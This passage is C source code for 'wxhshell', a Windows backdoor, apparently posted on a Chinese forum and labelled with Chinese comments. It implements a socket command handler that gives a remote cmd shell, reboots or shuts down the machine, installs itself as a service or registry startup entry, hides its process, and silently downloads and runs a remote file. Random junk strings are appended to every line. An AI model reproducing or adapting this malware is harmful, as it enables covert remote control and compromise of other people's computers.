  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Tan6 Qa  
  } vaCdfO&  
  else { 6Cv2>'{S  
R&|)y:bg|  
    switch(cmd[0]) { u$@I/q,ou  
  g!) LhE  
  // 帮助 Y1ilH-8  
  case '?': { ,m'#>d&zO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /B?SaKh  
    break; !}Ou|r4_  
  } }ok nB  
  // 安装 /E  yg*#  
  case 'i': { 41Q   
    if(Install()) huD\dmQ:]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rc.<0#  
    else }GNH)-AG)$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #vZ]2Ud= 2  
    break; 0N[DV]  
    } .yh2ttf<gB  
  // 卸载 {Ljl4Sp&  
  case 'r': { ^?.:}  
    if(Uninstall()) ]\mb6Hc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;o>~Y>x  
    else +FKP5L}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2?7hUaHX  
    break; .q[sk  
    } pz6- hi7  
  // 显示 wxhshell 所在路径 =|&"/$+s  
  case 'p': { A_*Lo6uII  
    char svExeFile[MAX_PATH]; >,]e[/p  
    strcpy(svExeFile,"\n\r"); \ui~n:aWJ  
      strcat(svExeFile,ExeFile); :a!a  
        send(wsh,svExeFile,strlen(svExeFile),0); @DC2ci >  
    break; h|uP=0   
    } T(Gf~0HYF  
  // 重启 .O-DVW Cm  
  case 'b': { 9X&qdA/q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e`2R{H  
    if(Boot(REBOOT)) Ty|c@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*( A; N_y  
    else { pC. 4AkEO  
    closesocket(wsh); H_f2:Za  
    ExitThread(0); <WKz,jh  
    } j.v _  
    break; Y'%I at(z  
    } iZUz6  
  // 关机 [)6E) E`_e  
  case 'd': { @' :um  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^^Q32XC,  
    if(Boot(SHUTDOWN)) e6xjlaKb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ip69 IF2*  
    else { %f(.OR)6{  
    closesocket(wsh); |oi49:NXn  
    ExitThread(0); _p2<7x i   
    } 9 @*>$6  
    break; 0bL=l0N$W  
    } UT7lj wT  
  // 获取shell  k*6eZ7  
  case 's': { N$\5%  
    CmdShell(wsh); Kf<_A{s  
    closesocket(wsh); >@e%,z  
    ExitThread(0); ;|1P1H-W~M  
    break; e[&3K<  
  } aNU%OeQA  
  // 退出 6}lEeMRW  
  case 'x': { lc(iy:z@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F(fr,m3  
    CloseIt(wsh); H0NyxG<  
    break; dY` J,s  
    } Ijro;rsEKM  
  // 离开 PCnJ2  
  case 'q': { E1w XG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kV9NFo22  
    closesocket(wsh); ZGvNEjff  
    WSACleanup(); %= ;K>D  
    exit(1); :@A;!'zpL  
    break; OWfj<#}t+  
        } ?+tZP3'  
  } TmAb! Y|F  
  } TBfl9Q  
?\VN`8Yb  
  // 提示信息 rGL{g&_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^S2} 0N f  
} ew['9  
  } ?|YQtY  
HW,55#yG  
  return; ZP/=R<<  
} .JKaC>oX  
$ {eh52)`  
// shell模块句柄 I;Y`rGj  
int CmdShell(SOCKET sock) r(CL=[  
{ z{WqICnb  
STARTUPINFO si; ToM*tXj  
ZeroMemory(&si,sizeof(si)); D+PUi!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '2{o_<m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8?pZZtad  
PROCESS_INFORMATION ProcessInfo; hIr^"kVK  
char cmdline[]="cmd"; ~Nh7C b _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g<3>7&^  
  return 0; 7Wn]l!  
} r5wXuA,Um  
%z(=GcWm  
// 自身启动模式 J/2pS  
int StartFromService(void) "!?Ya{  
{ d_B5@9e#  
typedef struct " N4]e/.V  
{ niBpbsO  
  DWORD ExitStatus; L]")TQ  
  DWORD PebBaseAddress; p4_uY7^6  
  DWORD AffinityMask; `"4EE}eQc  
  DWORD BasePriority; AOUO',v  
  ULONG UniqueProcessId; "ET"dMxU  
  ULONG InheritedFromUniqueProcessId; #JM*QVzv  
}   PROCESS_BASIC_INFORMATION; >@iV!!  
biK.HL\V  
PROCNTQSIP NtQueryInformationProcess; &|*|  
>X)G`N@ !  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8 EH3zm4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bc-}Qn  
z8MYgn 7  
  HANDLE             hProcess; D~>P/b)v{j  
  PROCESS_BASIC_INFORMATION pbi; an~Kc!Oki  
KguFU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4{E=wg^p  
  if(NULL == hInst ) return 0; Jq)k?WS  
5o #8DIal  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5P x_vtqP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OD|&qsbL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]uf_"D  
P*]g*&*Y +  
  if (!NtQueryInformationProcess) return 0; GjBQxn  
R?I3xb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VTa8.(i6v  
  if(!hProcess) return 0; f#mpd]e+6  
uM#/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mQJGKh&Pk  
dGjvSK<1@  
  CloseHandle(hProcess); XwMC/]lK<  
d?.x./1[qi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R\?!r4  
if(hProcess==NULL) return 0; _Qas+8NW  
24fWj?A|^  
HMODULE hMod; { q<l]jn9  
char procName[255]; v>R.ou(  
unsigned long cbNeeded; TmiQq'm[b  
[XK"$C]jHJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &5<lQ1  
#$E vybETx  
  CloseHandle(hProcess); 2$=HDwv  
3WS % H17  
if(strstr(procName,"services")) return 1; // 以服务启动 C54)eT6  
,zaveQ~l  
  return 0; // 注册表启动 B%/Pn 2  
} \Qn8"I83AV  
k@'.d)y0`  
// 主模块 MiRB*eA  
int StartWxhshell(LPSTR lpCmdLine) lvlH5Fc  
{ &$[{L)D  
  SOCKET wsl; P@#6.Bb#V  
BOOL val=TRUE; &\r%&IX/  
  int port=0; \ZB;K~BV&  
  struct sockaddr_in door; I(4k{=\ph]  
j? A +qk  
  if(wscfg.ws_autoins) Install(); XijQ)}'C3  
I( e>ff  
port=atoi(lpCmdLine); zD'gGxM1  
V<7Gd8rDMM  
if(port<=0) port=wscfg.ws_port; 8}"j#tDc  
)d~Mag+  
  WSADATA data; *?S\0a'W@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M}>q>  
JQqDUd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |j<'[gB\p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hw Is7  
  door.sin_family = AF_INET; I~I%z'"RQd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F 7=-k/k  
  door.sin_port = htons(port); -uZ^UG!K  
~+F: QrXcI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gqhW.e}]  
closesocket(wsl); +Muyp]_  
return 1; ;&!l2UB%  
} =@'"\ "Nh  
/zWWUl`:  
  if(listen(wsl,2) == INVALID_SOCKET) { +-"#GL~cC  
closesocket(wsl); HFazqQ[  
return 1; Y'P8`$  
} g6farLBF  
  Wxhshell(wsl); &zR}jD>  
  WSACleanup(); b#M<b.R)  
m`|Z1CT  
return 0; Am0$UeSZ  
T]xGE   
} 6!$S1z#wM  
bu.36\78  
// 以NT服务方式启动  ;"3Mm$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 R]|  
{ {:Q2Itsy  
DWORD   status = 0; |Yx8Ez  
  DWORD   specificError = 0xfffffff; :1iw_GhJf  
O]>Or3oO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A28w/ =e7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3O.-'U1K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; khR3[ju{^  
  serviceStatus.dwWin32ExitCode     = 0; I'gnw~  
  serviceStatus.dwServiceSpecificExitCode = 0; MG6Tk(3S  
  serviceStatus.dwCheckPoint       = 0; \yqiv"'  
  serviceStatus.dwWaitHint       = 0; ;Cwn1N9S  
>@X=E3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1;h>^NOq  
  if (hServiceStatusHandle==0) return; l @Ki`if  
YW5E |z  
status = GetLastError(); gSC@uf  
  if (status!=NO_ERROR) Pzqgg43Xf  
{ Z`W.(gua  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1ysA~2  
    serviceStatus.dwCheckPoint       = 0; O Rfl v+  
    serviceStatus.dwWaitHint       = 0; @ZVc!5J_,  
    serviceStatus.dwWin32ExitCode     = status; ,%C$~+xjM  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8WH>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KQqlM  
    return; G`n-WP  
  } zt8ZJlNK  
C" sa.#}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m} V,+E  
  serviceStatus.dwCheckPoint       = 0; IH0Uq_  
  serviceStatus.dwWaitHint       = 0; 0C7"*H0 R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "n\!y~:  
} &.}zZ/  
] !H<vR$8  
// 处理NT服务事件,比如:启动、停止 #G,e]{gs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MLDuo|?  
{ ldxUq,p  
switch(fdwControl) yF:fxdpw  
{ aZ'p:9e  
case SERVICE_CONTROL_STOP: xnLfR6B  
  serviceStatus.dwWin32ExitCode = 0; 8177x7UG2[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?1d_E meG2  
  serviceStatus.dwCheckPoint   = 0; T:-Uy&pBEN  
  serviceStatus.dwWaitHint     = 0; 6?~pWZ&k_  
  { o] nQo?!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r}991O<  
  } sqy5rug  
  return; RPrk]<<1  
case SERVICE_CONTROL_PAUSE: o 2DnkzpJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 ID! rxE  
  break; `8Om*{xg  
case SERVICE_CONTROL_CONTINUE: ~$cw]R58,9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /oI ''O%M  
  break; -&&mkK B!  
case SERVICE_CONTROL_INTERROGATE: vL><Y.kOEs  
  break; TQ BL!w  
}; WlY%f}l n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQ5DTk  
} >3ODqRu  
>hXUq9;:  
// 标准应用程序主函数 N&n{R8=^"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ILQg@J l  
{ 3drgB;:g`  
xj}N;FWo  
// 获取操作系统版本 8'YL!moG|  
OsIsNt=GetOsVer(); /#XO!%=7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X2{3I\'Ft  
(]pQ.3  
  // 从命令行安装 !b 7H  
  if(strpbrk(lpCmdLine,"iI")) Install(); "}!vYr  
?gkK*\x2  
  // 下载执行文件 -,rl[1ZYZ  
if(wscfg.ws_downexe) { kTzZj|l^\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PvM<#zq_  
  WinExec(wscfg.ws_filenam,SW_HIDE); @<Y Za$`  
} d ] [E;$  
/eE P^)h  
if(!OsIsNt) { QCjmg5bf'7  
// 如果时win9x,隐藏进程并且设置为注册表启动 CN >q`[!  
HideProc(); `*slQ }i  
StartWxhshell(lpCmdLine); t;*'p  
} `R^)< v*  
else T.xW|Iwx  
  if(StartFromService()) CzK X}  
  // 以服务方式启动 :S%|^Q AN  
  StartServiceCtrlDispatcher(DispatchTable); \&cVcA g  
else 1 4|S^UM$  
  // 普通方式启动 ZHZ>YSqCS  
  StartWxhshell(lpCmdLine); A(C3kISM  
|.,y M|  
return 0; %=| I;kI?  
}
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只看该作者 1 发表于: 2006-10-10
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